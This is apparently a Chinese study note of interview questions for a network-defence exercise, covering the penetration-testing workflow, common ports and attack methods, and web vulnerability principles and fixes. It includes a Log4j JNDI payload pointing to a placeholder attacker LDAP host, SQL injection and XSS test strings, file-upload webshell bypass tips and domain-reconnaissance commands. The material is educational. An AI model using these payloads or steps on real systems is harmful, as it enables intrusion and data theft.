冬奥护网项目面试问题
前言
准备提前记录一下冬奥护网行动面试可能会问的一些问题,以及对应的简要想法和答案
先介绍下你的技术情况
熟练使用kali,包括但不仅限于以下工具:Metasploit、Nessus、burpsuite、nmap、sqlmap、beef等,还有些工具类似:Aircrack-ng(wifi网络监控、信息获取、破坏等功能)、hydra(协议爆破)了解基础使用用法。
熟悉owasp top10,熟悉DVWA靶场上相关漏洞的愿一力以及漏洞利用方式。熟悉一些简单的网站漏洞,原理查询以及利用。
如果让你渗透一个网站,你的思路是什么?
1、前期交互:客户需求、测试计划、目标、范围、条件等等(回答可以略过)
2、信息收集
(1)服务器相关信息(真实IP、系统类型、版本、开放端口、WAF等),个人一般用shodan看基本信息。
(2)网站指纹识别(cms、cdn证书等),dns记录
(3)whois信息,姓名、备案、邮箱、电话反差等,为后面社会工程学准备
(4)子域名收集(google hack的site):旁站查询、C段等,先看看旁站有没有通用性的cms或者其他漏洞,主站一般比较难。
CMS使用判别:应用程序的文件中出现的特征码来快速识别是哪一个CMS,在进行漏洞查找利用。或者利用一些工具来扫,例如御剑WEB指纹识别工具、cmscan
(5)Google hack进一步探测网站的信息、后台、敏感文件
site: 指定域名
intext: 正文中关键字
intitle: 标题中关键字
info: 基本信息
inurl: URL存在关键字
filetype: 指定文件类型
(6)扫网站目录结构、爆后台,网站banner、测试文件、备份等敏感文件泄露等,如php探针。
- 常用工具:御剑后台扫描工具、burp、dirbuster等
(7)传输协议,通用漏洞,exp
(8)查看IP、指定IP端口扫描、对响应端口进行漏洞探测、例如samba、mysql、ftp、ssh、心脏出血等。
3、漏洞挖掘
- (1)浏览网站结构,了解规模、功能、特点
- (2)端口、弱口令、目录扫描
- (3)XSS、SQL、命令注入、CSRF、cookie安全检测、暴力破解、敏感信息、文件包含、任意文件上传、重放攻击等,个人习惯一般先针对特定特点手动尝试,再用Nessus等漏洞扫描工具。
4、漏洞利用
- 利用前面方式getshell、webshell或者其他权限后,权限提升。可以使用mysql、windows低版本漏洞、linux内核版本漏洞提权。
5、清除测试数据、输出报告
- (1)日志、测试数据的清理
- (2)总结,形成渗透测试报告、修复方案等。
说一些近段时间你了解的漏洞
1、2021.11.24阿里云安全团队披露的Apache Log4j2远程代码执行漏洞(RCE)
Apache Log4j2是一款优秀的Java日志框架,广泛应用于中间件、开发框架与Web应用中,用来记录日志信息。由于其作为基础组件广泛应用于很多Java框架和项目中,影响了数以万计的应用,因此绝大多数使用Java项目的公司都会被波及。
影响应用及组件:Apache Solr、Apache Struts2、Apache Flink、Apache Druid、spring-boot-strater-log4j2等等
由于Apache Log4j2某些功能存在递归解析功能,攻击者就可以直接构造恶意请求,触发远程代码执行漏洞,漏洞的poc已被公开,默认配置就可以进行利用(无需特殊环境)
原理:漏洞成因在于log4j2提供的lookup功能。日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。其中的JNDI就是利用的主题,因为其解析未做限制,可以直接访问到远程对象,当记录日志的一部分是用户可控时,就可以构造恶意字符串使服务器记录日志时调用JNDI访问恶意对象,也就是流传出的payload构成:
1 | ${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp} |
攻击思路:
- (1)找到目标服务器记录日志的地方,且记录的部分内容可控
- (2)搭建RMI服务器,包含需要执行的恶意代码
- (3)构建EXP触发目标服务器进行日志记录触发JNDI解析
- (4)解析结果定位到搭建的恶意服务端,目标服务器访问并触发恶意代码
以前挖过哪些网站的漏洞
DVWA靶场几乎所有的漏洞、课题组网站的漏洞(sql注入)
说几个你比较常用的工具
- nmap
1 | -sT TCP connect扫描,最基本的方式,很容易被检测 |
- sqlmap
1 | sqlmap -u "http://www.xx.com?id=x" 查询是否有诸如点 |
常见端口号及相关服务、漏洞
端口 | 服务 | 入侵方式 |
---|---|---|
21 | ftp/tftp/vsftpd文件传输协议 | 爆破/嗅探/溢出/后门——vsftpd漏洞 |
22 | ssh远程连接 | 爆破/openssh漏洞 |
23 | Telnet远程连接 | 爆破/嗅探/弱口令 |
25 | SMTP邮件服务 | 邮件伪造 |
53 | DNS域名解析系统 | 域传送/劫持/缓存投毒/欺骗 |
67/68 | dhcp服务 | 劫持/欺骗 |
110 | pop3 | 爆破/嗅探 |
139 | samba服务 | 爆破/未授权访问/RCE |
161 | SNMP协议 | 爆破/搜集目标内网信息 |
445 | smb,也是一种TCP端口,win低版本和139相同 | ms17-010/端口溢出 |
1080 | socket | 爆破 |
1443 | SQLserver的默认端口 | 爆破/注入/SA弱口令 |
1521 | oracle | 爆破/注入/TNS爆破/反弹shell |
2375 | docker remote api | 未授权访问 |
3306 | mysql的默认端口 | 爆破/注入 |
3389 | RDP远程桌面连接 | 爆破/shift后门 |
7001 | weblogic | java反序列化漏洞/控制台弱口令 |
8080/89 | Jboss/Tomcat/Resin | 爆破/反序列化/PUT文件上传 |
SQL注入原理
sql,Structured Query Language,叫做结构化查询语言,管理数据库时用到的一种语言。
SQL注入,即把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,主要原因是程序没有细致地过滤用户地数据,致使非法数据侵入系统。
反序列化漏洞原理
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还 原成对象。如果Java(PHP)应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意 输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
Java中:ObjectOutputStream类的writeObject()方法、ObjectInputStream类的readObject()方法
PHP中:serialize()和unserialize()两个函数
问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,则不会有如此大的影响。
如何去测试SQL注入/反序列化/XSS/文件上传/越权漏洞
- SQL注入:
通过查看回显,来判断能不能进行sql注入,是哪种sql注入:数字型?字符型?
1 | ?id=1 and 1=1 返回成功 |
有回显则是数字型
1 | ?id=1' and '1'='1 返回成功 |
这就是字符型
搜索
'
,如果出错,说明90%存在这个漏洞搜索
%
,如果正常返回,说明95%有洞了搜索一个关键字,比如
test
,正常返回所有test相关的信息再搜索
test%'and 1=1 and '%'='
和test%'and 1=2 and '%'='
常用:先用万能密码尝试下,类似’ or 1=’1这种,先用order by猜列数,猜成功后爆数据库、数据表、列、数据等。
- 反序列化:
反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁 盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控
- XSS:
在网站输入框,通过script,img,body等标签,能够插入js语句,表示存在漏洞,比如说alert
1 | <script>alert(/xss/)</script> |
- 文件上传漏洞:
简单的过滤可能在前端,在上传文件的后利用burp拦截,然后将文件后缀名改为.php,如果上传成功,证明存在漏洞 将一句话木马植入图片文件中,上传,成功则存在。
- 越权漏洞:
通过正确的账号密码登录,利用burp拦截请求包,发送到repeater里,修改里面的关于id的 内容,根据返回值判断是否获得其他账户信息
文件上传漏洞的绕过方法有哪些
在文件名后面加上满足上传文件需求的后缀名 上传文件时使用burp拦截,在前端上传成功后在burp里将文件名后缀修改成.php 将一句话木马插入到需要上传的文件中。
SQL注入漏洞有哪些利用手法
联合查询(union select)
报错注入:注入特殊的语句使报错回显中带上我们需要的信息,常见的报错回显有三种函数extractvalue()、updatexml()、floor()。
布尔盲注:将我们要获取的信息与猜测信息进行比对,正确页面正常,错误时与正确页面有区别。在布尔盲注时我们通常会使用到length()、substr()、ascll()。
延时注入(sleep、if):注入延时回显参数,根据是否延时来判断语句执行是否正确
比较喜欢用哪几种工具,它们的优势是什么
- burpsuite:功能强大,可以实现拦截,代理,爆破等功能,还可以加载各种插件
- nmap:方便的查询接口及其状态
- sqlmap:使用比较方便,可以轻松实现sql盲注。有自带的tamper,但有的时候需要手动编写来绕过一些过滤。
CSRF漏洞的原理
跨站请求伪造(Cross Site Request Forgery,CSRF)
- 目标用户使用其用户名和密码登录受信任站点,从而创建了一个新的会话,受信任站点则会为目标用户Web浏览器Cookie中的会话信息存储了会话标示符。
- 测试者往Web应用页面中插入恶意的HTML链接或脚本代码,而目标页面又没有过滤或者过滤不严,那么当用户浏览该页面时,用户的Web浏览器将被操纵向受信任站点发送一个恶意请求,比如删除帖子、添加管理员、添加邮件转发规则、改变路由器的DNS设置等。
- Web浏览器将会为这个恶意请求自动附加会话Cookie信息,因为是访问的受信任站点,因此该恶意请求将会成功完成。
与XSS相比:
- XSS:利用用户对站点的信任,攻击者通过注入程序来修改网站来使用户浏览器被重定向等
- CSRF:利用站点对已经身份认证的用户的信任,攻击者伪造一个链接误导用户点击链接来使用用户的身份认证来访问服务器
SQL注入、反序列化、文件包含、文件上传、CSRF、XSS、XXE漏洞的修复方法
- sql注入:
- 所有查询语句都使用数据库的参数化查询接口,并且参数化语句使用参数,而不是将用户输入变量直接嵌入到SQL语句中。
- 对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换
- 应严格规定数据长度,防止较长的SQL注入语句
- 不回显错误信息
- 严格限制网站用户数据库操作权限
- 反序列化:
- 升级到最新版本
- 文件包含:
- 设置文件上传白名单
- 升级程序
- 文件上传:
- 上传文件的存储目录禁用执行权限
- 文件后缀白名单,注意0x00截断攻击
- 文件上传后修改文件名
- 不能有本地文件包含漏洞
- 及时修复web上代码
- 升级web server
- CSRF
- 验证http referer字段
- 请求地址中添加token并验证
- 在http头中自定义属性并验证
- XSS
- 创建参数拦截filter类过滤器,对每次Post请求或者PUT请求坐下拦截
- XXE
- 进制加载外部实体
- 不允许XML中含有任何自己声明的DTD
如果网站有CDN,你如何查看他的真实IP地址
查询子域名
网络空间引擎搜索法(钟馗之眼)
利用SSL证书寻找真实原始IP
利用HTTP标头寻找真实原始IP
利用网站返回的内容寻找真实原始IP
网站邮件订阅查找
用 Zmap 扫全网
如何判断是否有CDN
CDN的全称是Content Delivery Network,即内容分发网络。通过在网络各处放置节点服务 器所构成的在现有的互联网基础之上的一层智能虚拟网络。其目的就是使用户可以就近取得所需的内容,解决Internet网络拥挤的状况,提高用户访问网络 的响应速度。
检测方法:在Linux下使用dig命令进行测试或者DOS下使用nslookup进行测试。还有一个办法就是在不同的地区ping网址,如果都是同一个IP地址,则说明未使用CDN,如果是不同的 IP地址则说明使用了CDN。
常见提权方式
udf提权、mof提权、启动项提权等
如果服务器被入侵,你会怎样进行溯源
- 网站源码分析、审计
- 日志分析
- 系统存储信息分析
- 分析进程端口
常见的中间件解析漏洞有哪些
- 1、IIS
- PUT漏洞
- 短文件名猜解
- 远程代码执行
- 解析漏洞
- 2、Apache
- 解析漏洞
- 目录遍历
- 3、Nginx
- 文件解析
- 目录遍历
- CRLF注入
- 目录穿越
- 4、Tomcat
- 远程代码执行
- war后门文件部署
- 5、jBoss
- 反序列化漏洞
- war后门文件部署
- 6、Weblogic
- 反序列化漏洞
- SSRF
- 任意文件上传
- war后门文件部署
在Windows/linux的加固问题上,你有哪些方法
linux服务器被植入后门了,讲一下你的排查流程
- (1)检查系统日志
- 检查系统错误登录日志,统计IP重试次数
- (2)检查系统用户
- 查看是否有异常的系统用户
- (3)检查异常进程
- 注意UID为0的进程
- (4)检查异常系统文件
- (5)检查系统文件完整性
- (6)检查RPM的完整性
- (7)检查网络
- (8)检查系统后门
- (9)检查系统服务
- (10)检查rootkit
怎么查找域控
1、net view
1 | net view /domain |
2、set log
1 | set log |
3、通过srv记录
1 | nslookup -type=SRV _ldap._tcp.corp |
4、使用nltest
1 | nltest /dclist:corp |
5、使用dsquery
1 | DsQuery Server -domain corp |
6、使用netdom
1 | netdom query pdc |